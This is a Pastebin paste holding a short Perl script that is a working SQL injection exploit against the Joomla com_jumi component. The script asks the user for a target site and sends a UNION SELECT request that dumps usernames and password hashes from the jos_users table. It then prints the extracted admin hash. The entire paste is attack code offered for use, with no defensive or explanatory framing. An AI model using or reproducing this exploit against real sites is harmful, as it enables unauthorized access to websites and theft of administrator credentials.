NEO_KOYE

Exploit Joomla 0Day

Sep 3rd, 2016
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.80 KB | None | 0 0
  1. print "tt Joomla com_jumi Remote SQL Injection Exploit \n\n";
  2. use LWP::UserAgent;
  3. print " Target page:[http://wwww.site.com/path/]: ";
  4. chomp(my $target=<STDIN>);
  5. $dzmind="concat(username,0x3a,password)";
  6. $sakkure="jos_users";
  7. $com="com_jumi";
  8. $cw="+UNION+SELECT+";
  9. $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
  10. $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  11. $host = $target . "/index.php?option=".$com."&fileid=93&Itemid=117".$cw."1,".$dzmind.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/".$sakkure."+--+";
  12. $res = $b->request(HTTP::Request->new(GET=>$host));
  13. $answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  14. print "\n[+] Admin Account : $1\n\n";
  15. print "# Successfully Injected #\n\n";
  16. }
  17. else{print "\n[-] Exploit Failed :( \n";
  18. }
Add Comment
Please, Sign In to add comment